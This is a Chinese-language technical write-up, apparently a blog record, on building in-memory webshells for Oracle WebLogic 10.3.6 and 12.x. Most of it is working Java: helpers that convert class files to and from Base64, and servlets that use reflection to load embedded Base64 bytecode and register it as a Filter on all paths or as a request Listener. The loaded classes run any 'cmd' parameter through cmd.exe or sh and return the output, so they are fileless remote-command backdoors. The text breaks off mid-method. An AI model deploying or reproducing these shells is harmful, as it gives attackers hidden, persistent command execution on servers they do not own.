测试环境

  1. 操作系统：Windows 2016
  2. weblogic版本：10.3.6
  3. JDK版本：1.7.80

需要导入的依赖包

  1. C:\Oracle\Middleware\wlserver_10.3\server\lib
  2. C:\Oracle\Middleware\modules

weblogic 10.3.6 内存马记录 - 图1

Base64与Class文件互转

实现代码

Base64字符串 转 Class文件

  1. import sun.misc.BASE64Decoder;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  7. public class Base64ToClass {
  8.     public static void main(String[] args) throws IOException {
  9.         String d = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
  10.         byte[] dx = new BASE64Decoder().decodeBuffer(d);
  11.         FileOutputStream abc = new FileOutputStream("xxx.class");
  12.         abc.write(dx);
  13.         abc.close();
  14.     }
  15. }

Class文件 转 Base64字符串

  1. import sun.misc.BASE64Encoder;
  3. import java.io.*;
  5. public class ClassToBase64 {
  6.     public static void main(String[] args) {
  7.         try{
  8.             File file = new File("E:\\Demo\\TestJava\\target\\classes\\cmdFilter.class");
  9.             FileInputStream fileInputStream = new FileInputStream(file);
  10.             ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  11.             byte[] bytes = new byte[fileInputStream.available()];
  12.             int len;
  13.             while ((len = fileInputStream.read(bytes))!=-1){
  14.                 byteArrayOutputStream.write(bytes,0,len);
  15.             }
  16.             String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
  17.             System.out.println(encode.replaceAll("\\r|\\n",""));
  18.         }catch (Exception e){
  19.             e.printStackTrace();
  20.         }
  22.     }
  23. }

0x01 Filter型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  1. import sun.misc.BASE64Decoder;
  2. import weblogic.servlet.internal.ServletRequestImpl;
  3. import weblogic.servlet.internal.WebAppServletContext;
  5. import java.io.*;
  6. import java.lang.reflect.Field;
  7. import java.lang.reflect.Method;
  8. import java.util.Map;
  9. import javax.servlet.http.*;
  11. public class HelloServlet extends HttpServlet {
  12.     private String message;
  14.     public void init() {
  15.         message = "Hello World!";
  16.     }
  18.     public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  19.         response.getWriter().write("this is filter ");
  20.         Thread thread = Thread.currentThread();
  21.         try {
  22.             //获取WebAppServletContext
  23.             Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  24.             workEntry.setAccessible(true);
  25.             Object workentry = workEntry.get(thread);
  26.             WebAppServletContext webAppServletContext=null;
  27.             try{ //weblogic 12.1.3
  28.                 Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  29.                 connectionHandler.setAccessible(true);
  30.                 Object http = connectionHandler.get(workentry);
  32.                 Field request1 = http.getClass().getDeclaredField("request");
  33.                 request1.setAccessible(true);
  34.                 ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  36.                 Field context = servletRequest.getClass().getDeclaredField("context");
  37.                 context.setAccessible(true);
  38.                 webAppServletContext = (WebAppServletContext) context.get(servletRequest);
  40.             }catch (Exception e){
  41.                 //weblogic 1036
  42.                 Field context = workentry.getClass().getDeclaredField("context");
  43.                 context.setAccessible(true);
  44.                 webAppServletContext = (WebAppServletContext) context.get(workentry);
  45.             }
  46.             if(webAppServletContext==null){throw new Exception("null");}
  47.             //加载字节码
  48.             String encode_class = "yv66vgAAADMAkwoAHgBKCAA/CwBLAEwIAE0KAE4ATwoACQBQCABRCgAJAFIHAFMIAFQIAFUIAFYIAFcKAFgAWQoAWABaCgBbAFwHAF0KABEAXggAXwoAEQBgCgARAGEKABEAYggAYwsAZABlCgBmAGcKAGYAaAoAZgBpCwBqAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFMHADAHAHAHAF0HAFMHAHEBAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHIMAHMAdAEAB29zLm5hbWUHAHUMAHYAdAwAdwB4AQADd2luDAB5AHoBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAewwAfAB9DAB+AH8HAIAMAIEAggEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIMBAAJcYQwAhACFDACGAIcMAIgAeAEAAAcAiQwAigCLBwCMDACNAI4MAI8AIQwAkAAhBwCRDAAtAJIBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAADMAAQABAAAABSq3AAGxAAAAAgAjAAAACgACAAAADQAEAA4AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAANQAAAAIAAAABsQAAAAIAIwAAAAYAAQAAABEAJAAAABYAAgAAAAEAJQAmAAAAAAABACkAKgABACsAAAAEAAEALAABAC0ALgACACIAAAGAAAQACgAAAKIrEgK5AAMCADoEGQTGAI0BOgUSBLgABbYABhIHtgAImQAbBr0ACVkDEgpTWQQSC1NZBRkEUzoFpwAYBr0ACVkDEgxTWQQSDVNZBRkEUzoFuAAOGQW2AA+2ABA6BrsAEVkZBrcAEhITtgAUOgcZB7YAFZkACxkHtgAWpwAFEhc6CCy5ABgBADoJGQkZCLYAGRkJtgAaGQm2ABstKyy5ABwDALEAAAADACMAAAA+AA8AAAAUAAoAFQAPABYAEgAXACIAGAA6ABoATwAdAFwAHgBsAB8AgAAgAIgAIQCPACIAlAAjAJkAJgChACcAJAAAAGYACgASAIcALwAwAAUAXAA9ADEAMgAGAGwALQAzADQABwCAABkANQA2AAgAiAARADcAOAAJAAAAogAlACYAAAAAAKIAOQA6AAEAAACiADsAPAACAAAAogA9AD4AAwAKAJgAPwA2AAQAQAAAABwABf0AOgcAQQcAQhT9ACwHAEMHAERBBwBF+AAaACsAAAAGAAIARgAsAAEARwAhAAEAIgAAACsAAAABAAAAAbEAAAACACMAAAAGAAEAAAAqACQAAAAMAAEAAAABACUAJgAAAAEASAAAAAIASQ==";
  49.             byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  50.             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  51.             defineClass.setAccessible(true);
  52.             //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  53.             Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
  54.             loader.setAccessible(true);
  55.             ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
  56.             Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  58.             //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
  59.             Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
  60.             classLoader.setAccessible(true);
  61.             ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
  62.             //获取cachedClasses
  63.             Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  64.             cachedClasses.setAccessible(true);
  65.             Object cachedClasses_map = cachedClasses.get(classLoader1);
  66.             Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  67.             get.setAccessible(true);
  68.             //如果cachedClasses中不存在cmdFilter类
  69.             if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
  70.                 //把cmdFilter的class 存入cachedClasses中
  71.                 Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  72.                 put.setAccessible(true);
  73.                 put.invoke(cachedClasses_map, "cmdFilter", filter_class);
  74.                 //获取filterManager类
  75.                 Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
  76.                 filterManager.setAccessible(true);
  77.                 Object o = filterManager.get(webAppServletContext);
  78.                 //注册Filter
  79.                 Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
  80.                 registerFilter.setAccessible(true);
  81.                 registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
  82.                 response.getWriter().write("success!!!");
  83.             }
  85.         } catch (Exception e) {
  86.             e.printStackTrace();
  87.         }
  89.     }
  91.     public void destroy() {
  92.     }
  93. }

Base64字符串加载的类

  1. import java.io.IOException;
  2. import java.io.InputStream;
  3. import java.io.Writer;
  4. import java.util.Scanner;
  5. import javax.servlet.Filter;
  6. import javax.servlet.FilterChain;
  7. import javax.servlet.FilterConfig;
  8. import javax.servlet.ServletException;
  9. import javax.servlet.ServletRequest;
  10. import javax.servlet.ServletResponse;
  12. public class cmdFilter implements Filter {
  13.     public cmdFilter() {
  14.     }
  16.     public void init(FilterConfig filterConfig) throws ServletException {
  17.     }
  19.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  20.         String cmd = servletRequest.getParameter("cmd");
  21.         if (cmd != null) {
  22.             String[] cmds = null;
  23.             if (System.getProperty("os.name").toLowerCase().contains("win")) {
  24.                 cmds = new String[]{"cmd.exe", "/c", cmd};
  25.             } else {
  26.                 cmds = new String[]{"sh", "-c", cmd};
  27.             }
  29.             InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  30.             Scanner s = (new Scanner(in)).useDelimiter("\\a");
  31.             String output = s.hasNext() ? s.next() : "";
  32.             Writer writer = servletResponse.getWriter();
  33.             writer.write(output);
  34.             writer.flush();
  35.             writer.close();
  36.         }
  38.         filterChain.doFilter(servletRequest, servletResponse);
  39.     }
  41.     public void destroy() {
  42.     }
  43. }

0x02 Listener型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  1. import sun.misc.BASE64Decoder;
  2. import weblogic.servlet.internal.EventsManager;
  3. import weblogic.servlet.internal.ServletRequestImpl;
  4. import weblogic.servlet.internal.WebAppServletContext;
  6. import javax.servlet.http.HttpServlet;
  7. import javax.servlet.http.HttpServletRequest;
  8. import javax.servlet.http.HttpServletResponse;
  9. import java.io.IOException;
  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.Method;
  12. import java.util.EventListener;
  15. public class guguServlet extends HttpServlet {
  16.     public void init() {
  17.     }
  19.     public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  20.         response.getWriter().write("hello");
  22.         Thread thread = Thread.currentThread();
  23.         try {
  24.             //获取WebAppServletContext
  25.             Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  26.             workEntry.setAccessible(true);
  27.             Object workentry = workEntry.get(thread);
  28.             WebAppServletContext webAppServletContext=null;
  29.             try{ //weblogic 12.1.3
  30.                 Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  31.                 connectionHandler.setAccessible(true);
  32.                 Object http = connectionHandler.get(workentry);
  34.                 Field request1 = http.getClass().getDeclaredField("request");
  35.                 request1.setAccessible(true);
  36.                 ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  38.                 Field context = servletRequest.getClass().getDeclaredField("context");
  39.                 context.setAccessible(true);
  40.                 webAppServletContext = (WebAppServletContext) context.get(servletRequest);
  42.             }catch (Exception e){
  43.                 //weblogic 1036
  44.                 Field context = workentry.getClass().getDeclaredField("context");
  45.                 context.setAccessible(true);
  46.                 webAppServletContext = (WebAppServletContext) context.get(workentry);
  47.             }
  48.             if(webAppServletContext==null){throw new Exception("null");}
  50.             //打印当前web的目录
  51.             System.out.println(webAppServletContext.getRootTempDir());
  53.             //加载字节码
  54.             String encode_class ="yv66vgAAADMAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMTG15TGlzdGVuZXI7AQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQATc2VydmxldFJlcXVlc3RFdmVudAEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQ7AQAScmVxdWVzdEluaXRpYWxpemVkAQACcHMBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAJzYgEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAVgcAWQcAWgcAWwcARAcASgcAVQEAClNvdXJjZUZpbGUBAA9teUxpc3RlbmVyLmphdmEMABoAGwcAWQwAXABdBwBeDABfAGAHAGEMAGIAYwwAZABlAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAFsMAGYAZwwAGgBoDAAaAGkBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABqAGsMAGwAbQEABDxicj4MAG4AawEALHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlcXVlc3RJbXBsDABvAHAHAHEMAHIAcwcAdAwAdQB2AQATamF2YS9pby9JT0V4Y2VwdGlvbgEACm15TGlzdGVuZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAkamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdExpc3RlbmVyAQAhamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQARZ2V0U2VydmxldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACHRvU3RyaW5nAQALZ2V0UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7AQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAXABgAAQAZAAAAAwABABoAGwABABwAAAAvAAEAAQAAAAUqtwABsQAAAAIAHQAAAAYAAQAAAAoAHgAAAAwAAQAAAAUAHwAgAAAAAQAhACIAAQAcAAAANQAAAAIAAAABsQAAAAIAHQAAAAYAAQAAAA4AHgAAABYAAgAAAAEAHwAgAAAAAAABACMAJAABAAEAJQAiAAEAHAAAAV8ABQAJAAAAciu2AAISA7kABAIATSzGAGS4AAUstgAGTrsAB1m7AAhZLbYACbcACrcACzoEuwAMWbcADToFGQS2AA5ZOgbGABMZBRkGtgAPEhC2AA9Xp//oGQW2ABE6Byu2AALAABK2ABM6CBkItgAUGQe2ABWnAAROsQABABAAbQBwABYAAwAdAAAANgANAAAAEgAMABMAEAAVABgAFgAsABcANQAZAEAAGgBQABwAVwAdAGMAHgBtACAAcAAfAHEAIgAeAAAAXAAJABgAVQAmACcAAwAsAEEAKAApAAQANQA4ACoAKwAFAD0AMAAsAC0ABgBXABYALgAtAAcAYwAKAC8AMAAIAAAAcgAfACAAAAAAAHIAIwAkAAEADABmADEALQACADIAAAA1AAT/ADUABgcAMwcANAcANQcANgcANwcAOAAA/AAaBwA1/wAfAAMHADMHADQHADUAAQcAOQAAAQA6AAAAAgA7";
  55.             byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  56.             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  57.             defineClass.setAccessible(true);
  58.             //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  59.             Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
  60.             loader.setAccessible(true);
  61.             ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
  62.             Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  64.             System.out.println(filter_class);
  66.             //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
  67.             Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
  68.             classLoader.setAccessible(true);
  69.             ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
  70.             //获取cachedClasses
  71.             Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  72.             cachedClasses.setAccessible(true);
  73.             Object cachedClasses_map = cachedClasses.get(classLoader1);
  74.             Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  75.             get.setAccessible(true);
  76.             //如果cachedClasses中不存在cmdListener类
  77.             if (get.invoke(cachedClasses_map, "cmdListener") == null) {
  78.                 //把cmdListener的class 存入cachedClasses中
  79.                 Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  80.                 put.setAccessible(true);
  81.                 put.invoke(cachedClasses_map, "cmdListener", filter_class);
  83.                 Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
  84.                 eM.setAccessible(true);
  85.                 EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
  86.                 try {
  87.                     //Weblogic 12.1.3
  88.                     //创建EventListener
  89.                     Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
  90.                     listen.setAccessible(true);
  91.                     EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");
  93.                     //调用addEventListener添加Listener
  94.                     Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
  95.                     addListener.setAccessible(true);
  96.                     addListener.invoke(eventsManager,listener);
  97.                     response.getWriter().write("success!!!");
  98.                 }catch (Exception e){
  99.                     //weblogic1036 可以直接调用registerListener添加
  100.                     Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
  101.                     listen.setAccessible(true);
  102.                     listen.invoke(webAppServletContext,"cmdListener");
  103.                     response.getWriter().write("success!!!");
  104.                 }
  106.             }
  108.         } catch (Exception e) {
  109.             e.printStackTrace();
  110.         }
  112.     }
  114.     public void destroy() {
  115.     }
  117. }

Base64字符串加载的类

  1. import weblogic.servlet.internal.ServletRequestImpl;
  2. import weblogic.servlet.internal.ServletResponseImpl;
  4. import javax.servlet.ServletRequestEvent;
  5. import javax.servlet.ServletRequestListener;
  6. import java.io.BufferedReader;
  7. import java.io.IOException;
  8. import java.io.InputStreamReader;
  10. public class myListener implements ServletRequestListener {
  11.     @Override
  12.     public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  14.     }
  16.     @Override
  17.     public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  18.         String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
  19.         if (cmd != null) {
  20.             try {
  21.                 Process ps = Runtime.getRuntime().exec(cmd);
